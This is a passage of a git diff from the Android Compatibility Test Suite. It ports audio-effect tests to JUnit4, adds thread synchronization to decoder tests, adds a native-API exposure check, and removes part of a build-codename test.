             return;
@@ -130,6 +149,7 @@
     //----------------------------------
 
     //Test case 3.0: test loudness gain change in audio
+    @Test
     public void test3_0MeasureGainChange() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -192,7 +212,7 @@
             //run for a new set of 3 seconds, get new measurement
             mLE.setTargetGain(LOUDNESS_GAIN);
             assertEquals("target gain differs from value set", (float)LOUDNESS_GAIN,
-                    mLE.getTargetGain());
+                    mLE.getTargetGain(), EPSILON);
 
             mLE.setEnabled(true);
 
@@ -254,4 +274,4 @@
             mLE = null;
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/common/src/android/media/cts/PostProcTestBase.java b/tests/tests/media/audio/src/android/media/audio/cts/PostProcTestBase.java
similarity index 83%
rename from tests/tests/media/common/src/android/media/cts/PostProcTestBase.java
rename to tests/tests/media/audio/src/android/media/audio/cts/PostProcTestBase.java
index cefbbf4..55bc401 100644
--- a/tests/tests/media/common/src/android/media/cts/PostProcTestBase.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/PostProcTestBase.java
@@ -14,16 +14,22 @@
  * limitations under the License.
  */
 
-package android.media.cts;
+package android.media.audio.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.media.AudioManager;
 import android.media.audiofx.AudioEffect;
 import android.os.Looper;
-import android.test.AndroidTestCase;
 
-public class PostProcTestBase extends AndroidTestCase {
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Rule;
+
+public class PostProcTestBase {
     protected int mSession = -1;
     protected boolean mHasControl = false;
     protected boolean mIsEnabled = false;
@@ -34,6 +40,13 @@
     protected final static String BUNDLE_VOLUME_EFFECT_UUID =
             "119341a0-8469-11df-81f9-0002a5d5c51b";
 
+    @Rule
+    public EffectBeforeAfterRule mBeforeAfterRule = new EffectBeforeAfterRule();
+
+    protected static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
     protected boolean hasAudioOutput() {
         return getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_AUDIO_OUTPUT);
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/PresetReverbTest.java b/tests/tests/media/audio/src/android/media/audio/cts/PresetReverbTest.java
index a3221ec..290839d 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/PresetReverbTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/PresetReverbTest.java
@@ -16,17 +16,28 @@
 
 package android.media.audio.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.media.audiofx.AudioEffect;
 import android.media.audiofx.PresetReverb;
-import android.media.cts.PostProcTestBase;
 import android.os.Looper;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.NonMainlineTest;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @NonMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(AndroidJUnit4.class)
 public class PresetReverbTest extends PostProcTestBase {
 
     private String TAG = "PresetReverbTest";
@@ -38,6 +49,7 @@
     private PresetReverb mReverb2 = null;
     private ListenerThread mEffectListenerLooper = null;
 
+
     //-----------------------------------------------------------------
     // PRESET REVERB TESTS:
     //----------------------------------
@@ -47,6 +59,7 @@
     //----------------------------------
 
     //Test case 0.0: test constructor and release
+    @Test
     public void test0_0ConstructorAndRelease() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -75,6 +88,7 @@
     //----------------------------------
 
     //Test case 1.0: test presets
+    @Test
     public void test1_0Presets() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -99,6 +113,7 @@
     }
 
     //Test case 1.1: test properties
+    @Test
     public void test1_1Properties() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -130,6 +145,7 @@
     //----------------------------------
 
     //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    @Test
     public void test2_0SetEnabledGetEnabled() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -148,6 +164,7 @@
     }
 
     //Test case 2.1: test setEnabled() throws exception after release
+    @Test
     public void test2_1SetEnabledAfterRelease() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -168,6 +185,7 @@
     //----------------------------------
 
     //Test case 3.0: test control status listener
+    @Test
     public void test3_0ControlStatusListener() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -193,6 +211,7 @@
     }
 
     //Test case 3.1: test enable status listener
+    @Test
     public void test3_1EnableStatusListener() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -220,6 +239,7 @@
     }
 
     //Test case 3.2: test parameter changed listener
+    @Test
     public void test3_2ParameterChangedListener() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/VirtualizerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/VirtualizerTest.java
index 43a47b2..2e6fdf8 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/VirtualizerTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/VirtualizerTest.java
@@ -16,20 +16,31 @@
 
 package android.media.audio.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.media.AudioFormat;
 import android.media.audiofx.AudioEffect;
 import android.media.audiofx.Virtualizer;
-import android.media.cts.PostProcTestBase;
 import android.os.Looper;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.NonMainlineTest;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.Arrays;
 
 @NonMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(AndroidJUnit4.class)
 public class VirtualizerTest extends PostProcTestBase {
 
     private String TAG = "VirtualizerTest";
@@ -51,6 +62,7 @@
     //----------------------------------
 
     //Test case 0.0: test constructor and release
+    @Test
     public void test0_0ConstructorAndRelease() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -81,6 +93,7 @@
     //----------------------------------
 
     //Test case 1.0: test strength
+    @Test
     public void test1_0Strength() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -113,6 +126,7 @@
     }
 
     //Test case 1.1: test properties
+    @Test
     public void test1_1Properties() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -150,6 +164,7 @@
     }
 
     //Test case 1.2: test setStrength() throws exception after release
+    @Test
     public void test1_2SetStrengthAfterRelease() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -171,6 +186,7 @@
     //----------------------------------
 
     //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    @Test
     public void test2_0SetEnabledGetEnabled() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -190,6 +206,7 @@
     }
 
     //Test case 2.1: test setEnabled() throws exception after release
+    @Test
     public void test2_1SetEnabledAfterRelease() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -211,6 +228,7 @@
     //----------------------------------
 
     //Test case 3.0: test control status listener
+    @Test
     public void test3_0ControlStatusListener() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -237,6 +255,7 @@
     }
 
     //Test case 3.1: test enable status listener
+    @Test
     public void test3_1EnableStatusListener() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -265,6 +284,7 @@
     }
 
     //Test case 3.2: test parameter changed listener
+    @Test
     public void test3_2ParameterChangedListener() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -301,6 +321,7 @@
     //   combinations must be supported, otherwise the effect doesn't really qualify as
     //   a virtualizer: AudioFormat.CHANNEL_OUT_STEREO or the quad and 5.1 side/back variants,
     //   in VIRTUALIZATION_MODE_BINAURAL or VIRTUALIZATION_MODE_TRANSAURAL
+    @Test
     public void test4_0FormatModeQuery() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -341,6 +362,7 @@
 
     //Test case 4.1: test that the capabilities reported by Virtualizer.canVirtualize(int,int)
     //   matches those returned by Virtualizer.getSpeakerAngles(int, int, int[])
+    @Test
     public void test4_1SpeakerAnglesCapaMatchesFormatModeCapa() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -384,6 +406,7 @@
 
     //Test case 4.2: test forcing virtualization mode: at least binaural or transaural must be
     //   supported
+    @Test
     public void test4_2VirtualizationMode() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -413,6 +436,7 @@
     }
 
     //Test case 4.3: test disabling virtualization maps to VIRTUALIZATION_MODE_OFF
+    @Test
     public void test4_3DisablingVirtualizationOff() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -436,6 +460,7 @@
     }
 
     //Test case 4.4: test forcing virtualization mode to AUTO
+    @Test
     public void test4_4VirtualizationModeAuto() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
@@ -460,6 +485,7 @@
     }
 
     //Test case 4.5: test for consistent capabilities if virtualizer is enabled or disabled
+    @Test
     public void test4_5ConsistentCapabilitiesWithEnabledDisabled() throws Exception {
         if (!isVirtualizerAvailable()) {
             return;
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/VisualizerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/VisualizerTest.java
index f3eacff..c5e10f5 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/VisualizerTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/VisualizerTest.java
@@ -16,6 +16,11 @@
 
 package android.media.audio.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.Context;
 import android.media.AudioManager;
 import android.media.MediaPlayer;
@@ -23,14 +28,19 @@
 import android.media.audiofx.AudioEffect;
 import android.media.audiofx.Visualizer;
 import android.media.audiofx.Visualizer.MeasurementPeakRms;
-import android.media.cts.PostProcTestBase;
 import android.os.Looper;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.UUID;
 
 @AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(AndroidJUnit4.class)
 public class VisualizerTest extends PostProcTestBase {
 
     private String TAG = "VisualizerTest";
@@ -55,6 +65,7 @@
     //----------------------------------
 
     //Test case 0.0: test constructor and release
+    @Test
     public void test0_0ConstructorAndRelease() throws Exception {
         Visualizer visualizer = null;
         try {
@@ -76,6 +87,7 @@
     //----------------------------------
 
     //Test case 1.0: capture rates
+    @Test
     public void test1_0CaptureRates() throws Exception {
         getVisualizer(0);
         try {
@@ -95,6 +107,7 @@
     }
 
     //Test case 1.1: test capture size
+    @Test
     public void test1_1CaptureSize() throws Exception {
         getVisualizer(0);
         try {
@@ -125,6 +138,7 @@
     //----------------------------------
 
     //Test case 2.0: test capture in polling mode
+    @Test
     public void test2_0PollingCapture() throws Exception {
         if (!hasAudioOutput()) {
             Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
@@ -157,6 +171,7 @@
     }
 
     //Test case 2.1: test capture with listener
+    @Test
     public void test2_1ListenerCapture() throws Exception {
         if (!hasAudioOutput()) {
             Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
@@ -223,6 +238,7 @@
     //----------------------------------
 
     //Test case 3.0: test setting NONE measurement mode
+    @Test
     public void test3_0MeasurementModeNone() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -255,6 +271,7 @@
     //----------------------------------
 
     //Test case 4.0: test setting peak / RMS measurement mode
+    @Test
     public void test4_0MeasurementModePeakRms() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -283,6 +300,7 @@
     }
 
     //Test case 4.1: test measurement of peak / RMS
+    @Test
     public void test4_1MeasurePeakRms() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -356,6 +374,7 @@
     }
 
     //Test case 4.2: test measurement of peak / RMS in Long MP3
+    @Test
     public void test4_2MeasurePeakRmsLongMP3() throws Exception {
         if (!hasAudioOutput()) {
             return;
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
index 5743455..e30f56b 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
@@ -979,6 +979,10 @@
         return glSurfaceViewThread.getByteBuffer();
     }
 
+    public Object getSyncToken() {
+        return surfaceSyncToken;
+    }
+
     /* Does all GL operations. */
     private class GLSurfaceViewThread extends Thread
             implements SurfaceTexture.OnFrameAvailableListener {
@@ -1219,11 +1223,13 @@
 
         /* Reads the pixels to a ByteBuffer. */
         public void saveFrame() {
-            byteBufferIsReady = false;
-            byteBuffer.clear();
-            GLES20.glReadPixels(0, 0, VIEW_WIDTH, VIEW_HEIGHT, GLES20.GL_RGBA,
-                    GLES20.GL_UNSIGNED_BYTE, byteBuffer);
-            byteBufferIsReady = true;
+            synchronized (surfaceSyncToken) {
+                byteBufferIsReady = false;
+                byteBuffer.clear();
+                GLES20.glReadPixels(0, 0, VIEW_WIDTH, VIEW_HEIGHT, GLES20.GL_RGBA,
+                        GLES20.GL_UNSIGNED_BYTE, byteBuffer);
+                byteBufferIsReady = true;
+            }
         }
 
         public int getTextureId() {
@@ -1517,10 +1523,14 @@
         try {
             final ByteBuffer byteBuffer = glSurfaceViewFactory.getByteBuffer();
             bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
-            byteBuffer.rewind();
-            bitmap.copyPixelsFromBuffer(byteBuffer);
-            bitmapIsReady = true;
-            byteBuffer.clear();
+
+            final Object syncToken = glSurfaceViewFactory.getSyncToken();
+            synchronized (syncToken) {
+                byteBuffer.rewind();
+                bitmap.copyPixelsFromBuffer(byteBuffer);
+                bitmapIsReady = true;
+                byteBuffer.clear();
+            }
         } catch (NullPointerException exception) {
             Log.e(TAG, "glSurfaceViewFactory or byteBuffer may have been released", exception);
             bitmap = null;
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java
index ac0c24e..1d12018 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java
@@ -643,6 +643,7 @@
         Thread.sleep(500);
         videoCodec.flush();
         audioCodec.flush();
+        audioTrack.flush();
         videoAsyncHandler.clearBufferQueue();
 
         // Frames at 7s of each file are not key frame, and there is non-zero key frame before it
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerRecorderActivity.java b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerRecorderActivity.java
index a2f4982..e056927 100644
--- a/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerRecorderActivity.java
+++ b/tests/tests/media/misc/src/android/media/misc/cts/ResourceManagerRecorderActivity.java
@@ -16,6 +16,8 @@
 
 package android.media.misc.cts;
 
+import static org.junit.Assert.assertTrue;
+
 import android.hardware.Camera;
 import android.hardware.cts.helpers.CameraUtils;
 import android.media.MediaCodecList;
@@ -30,8 +32,6 @@
 import android.util.Log;
 import android.view.Surface;
 
-import static org.junit.Assert.assertTrue;
-
 import java.io.File;
 import java.io.IOException;
 import java.nio.file.Files;
@@ -45,8 +45,6 @@
 public class ResourceManagerRecorderActivity extends MediaStubActivity {
     private static final int VIDEO_FRAMERATE = 30;
     private static final int RECORD_TIME_MS = 3000;
-    private static final int VIDEO_WIDTH = 176;
-    private static final int VIDEO_HEIGHT = 144;
     private static final float LATITUDE = 0.0000f;
     private static final float LONGITUDE  = -180.0f;
     private static final float TOLERANCE = 0.0002f;
@@ -55,8 +53,8 @@
 
     private int mResult = RESULT_CANCELED;
     private boolean mHighResolution = false;
-    private int mVideoWidth = VIDEO_WIDTH;
-    private int mVideoHeight = VIDEO_HEIGHT;
+    private int mVideoWidth = 0;
+    private int mVideoHeight = 0;
     private int mVideoEncoderType = MediaRecorder.VideoEncoder.H264;
     private String mMime = MediaFormat.MIMETYPE_VIDEO_AVC;
     private Camera mCamera;
@@ -154,7 +152,7 @@
         // Pick the max or min resolution (width * height) based
         // on the requirement.
         long curMaxResolution = 0;
-        long curMinResolution = VIDEO_WIDTH * VIDEO_HEIGHT;
+        long curMinResolution = Long.MAX_VALUE;
         for (Camera.Size size : videoSizes) {
             long resolution = size.width * size.height;
             if (!mHighResolution && (resolution < curMinResolution)) {
diff --git a/tests/tests/nativeapi/Android.bp b/tests/tests/nativeapi/Android.bp
new file mode 100644
index 0000000..744c8b8
--- /dev/null
+++ b/tests/tests/nativeapi/Android.bp
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsNonProductionReadyNativeApiTestCases",
+    srcs: ["src/**/*.java"],
+    // Include both the 32 and 64 bit versions.
+    compile_multilib: "both",
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+    jni_libs: [
+        "libnative-api-check-jni",
+    ],
+    host_required: ["cts-dynamic-config"],
+    test_suites: [
+        "general-tests",
+        "cts",
+    ],
+    data: [":cts-dynamic-config.dynamic"],
+    sdk_version: "current",
+}
+
+cc_library_shared {
+    name: "libnative-api-check-jni",
+    header_libs: [
+        "libnativehelper_header_only",
+    ],
+    srcs: [
+        "jni/NonProductionReadyNativeApiCheck-jni.cpp",
+    ],
+    shared_libs: [
+        "libaaudio",
+        "libamidi",
+        "libandroid",
+        "libc",
+        "libcamera2ndk",
+        "libdl",
+        "libEGL",
+        "libGLESv1_CM",
+        "libGLESv2",
+        "libGLESv3",
+        "libjnigraphics",
+        "liblog",
+        "libmediandk",
+        "libm",
+        "libneuralnetworks",
+        "libOpenMAXAL",
+        "libOpenSLES",
+        "libstdc++",
+        "libvulkan",
+        "libz",
+    ],
+    cflags: [
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/tests/nativeapi/AndroidManifest.xml b/tests/tests/nativeapi/AndroidManifest.xml
new file mode 100644
index 0000000..19f0c27
--- /dev/null
+++ b/tests/tests/nativeapi/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2024 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.nativeapi.cts">
+    <!-- Needed for business logic test cases -->
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.nativeapi.cts"/>
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/nativeapi/AndroidTest.xml b/tests/tests/nativeapi/AndroidTest.xml
new file mode 100644
index 0000000..0a40ddc
--- /dev/null
+++ b/tests/tests/nativeapi/AndroidTest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2024 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Test native APIs">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="run_on_sdk_sandbox" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsNonProductionReadyNativeApiTestCases.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="dynamic-config-name" value="cts-dynamic-config" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.BusinessLogicPreparer">
+        <option name="business-logic-url" value="https://androidpartner.googleapis.com/v1/xtsBusinessLogic/suites/cts:select" />
+        <option name="business-logic-api-key" value="AIzaSyCZNccVFX50XFhVUbh_vEUxG0C8z8As6wk" />
+        <option name="business-logic-api-scope" value="https://www.googleapis.com/auth/androidPartner" />
+        <option name="config-filename" value="CtsNonProductionReadyNativeApiTestCases" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.nativeapi.cts" />
+        <option name="isolated-storage" value="false" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/tests/nativeapi/OWNERS b/tests/tests/nativeapi/OWNERS
new file mode 100644
index 0000000..6ffd2ed
--- /dev/null
+++ b/tests/tests/nativeapi/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 1332816
+wenshan@google.com
+slotus@google.com
\ No newline at end of file
diff --git a/tests/tests/nativeapi/jni/NonProductionReadyNativeApiCheck-jni.cpp b/tests/tests/nativeapi/jni/NonProductionReadyNativeApiCheck-jni.cpp
new file mode 100644
index 0000000..a0481e9
--- /dev/null
+++ b/tests/tests/nativeapi/jni/NonProductionReadyNativeApiCheck-jni.cpp
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include <jni.h>
+#include <string.h>
+
+extern "C" {
+
+JNIEXPORT jobjectArray JNICALL Java_android_nativeapi_cts_NonProductionReadyNativeApiCheck_checkNonProductionReadyNativeApis(
+    JNIEnv* env, jobject obj, jobjectArray nonProductionReadyApis)
+{
+    int size = env->GetArrayLength(nonProductionReadyApis);
+    jobjectArray ret = (jobjectArray)env->NewObjectArray(
+        size,
+        env->FindClass("java/lang/String"),
+        env->NewStringUTF(""));
+
+    for (int i = 0; i < size; i++) {
+        jstring string = (jstring) env->GetObjectArrayElement(nonProductionReadyApis, i);
+        const char* api = env->GetStringUTFChars(string, 0);
+        if (dlsym(RTLD_DEFAULT, api) != nullptr) {
+            env->SetObjectArrayElement(
+                ret, i, env->NewStringUTF(api));
+        } else {
+            env->SetObjectArrayElement(
+                ret, i, env->NewStringUTF(""));
+        }
+        env->ReleaseStringUTFChars(string, api);
+        env->DeleteLocalRef(string);
+    }
+
+    return ret;
+}
+
+}
diff --git a/tests/tests/nativeapi/src/android/nativeapi/cts/NonProductionReadyNativeApiCheck.java b/tests/tests/nativeapi/src/android/nativeapi/cts/NonProductionReadyNativeApiCheck.java
new file mode 100644
index 0000000..bbbc2f4
--- /dev/null
+++ b/tests/tests/nativeapi/src/android/nativeapi/cts/NonProductionReadyNativeApiCheck.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.nativeapi.cts;
+
+import com.android.compatibility.common.util.BusinessLogicTestCase;
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(JUnit4.class)
+public class NonProductionReadyNativeApiCheck extends BusinessLogicTestCase {
+    static {
+        System.loadLibrary("native-api-check-jni");
+    }
+
+    /**
+     * Checks any non production ready Native API is exposed.
+     *
+     * This method will be called via the BusinessLogic config. The non production ready native API
+     * list is also configured via BusinessLogic.
+     */
+    public void testNonProductionReadyNativeApis(String... nonProductionReadyNativeApis) {
+        List<String> exposedNonProductionReadyNativeApis = new ArrayList<>();
+        for (String s : checkNonProductionReadyNativeApis(nonProductionReadyNativeApis)) {
+            if (!s.isEmpty()) {
+                exposedNonProductionReadyNativeApis.add(s);
+            }
+        }
+
+        Assert.assertTrue(
+                String.format(
+                        "Native APIs %s are not production ready and can not be exposed",
+                        exposedNonProductionReadyNativeApis),
+                exposedNonProductionReadyNativeApis.isEmpty());
+    }
+
+    @Test
+    @CddTest(requirements = {"3.3.1/C-0-8"})
+    public void checkNonProductionReadyNativeApis_shouldNotExposed() {
+    }
+
+    private native String[] checkNonProductionReadyNativeApis(String[] nonProductionApis);
+}
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index 68af698..29e0a4f 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -16,9 +16,6 @@
 
 package android.os.cts;
 
-import static android.os.Build.VERSION.ACTIVE_CODENAMES;
-import static android.os.Build.VERSION_CODES.CUR_DEVELOPMENT;
-
 import android.os.Build;
 import android.os.SystemProperties;
 import android.platform.test.annotations.AppModeFull;
@@ -26,15 +23,12 @@
 import junit.framework.TestCase;
 
 import java.io.IOException;
-import java.lang.reflect.Field;
-import java.lang.reflect.Modifier;
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Scanner;
 import java.util.Set;
 import java.util.regex.Pattern;
-import java.util.stream.Collectors;
 
 public class BuildTest extends TestCase {
 
@@ -245,66 +239,6 @@
     }
 
     /**
-     * Tests that check for valid values of codenames related constants.
-     */
-    public void testBuildCodenameConstants() {
-        // CUR_DEVELOPMENT must be larger than any released version.
-        Field[] fields = Build.VERSION_CODES.class.getDeclaredFields();
-        List<String> activeCodenames = Arrays.asList(ACTIVE_CODENAMES);
-        // Make the codenames uppercase to match the field names.
-        activeCodenames.replaceAll(String::toUpperCase);
-        Set<String> knownCodenames = Build.VERSION.KNOWN_CODENAMES.stream()
-                .map(String::toUpperCase)
-                .collect(Collectors.toSet());
-        HashSet<String> declaredCodenames = new HashSet<>();
-        for (Field field : fields) {
-            if (field.getType().equals(int.class) && Modifier.isStatic(field.getModifiers())) {
-                String fieldName = field.getName();
-                final int fieldValue;
-                try {
-                    fieldValue = field.getInt(null);
-                } catch (IllegalAccessException e) {
-                    throw new AssertionError(e.getMessage());
-                }
-                declaredCodenames.add(fieldName);
-                if (fieldName.equals("CUR_DEVELOPMENT")) {
-                    // It should be okay to change the value of this constant in future, but it
-                    // should at least be a conscious decision.
-                    assertEquals(10000, fieldValue);
-                } else {
-                    // Remove all underscores to match build level codenames, e.g. S_V2 is Sv2.
-                    String fieldNameWithoutUnderscores = fieldName.replaceAll("_", "");
-                    if (activeCodenames.contains(fieldNameWithoutUnderscores)) {
-                        // This is the current development version. Note that fieldName can
-                        // become < CUR_DEVELOPMENT before CODENAME becomes "REL", so we
-                        // can't assertEquals(CUR_DEVELOPMENT, fieldValue) here.
-                        assertTrue("Expected " + fieldName + " value to be <= " + CUR_DEVELOPMENT
-                                + ", got " + fieldValue, fieldValue <= CUR_DEVELOPMENT);
-                    } else {
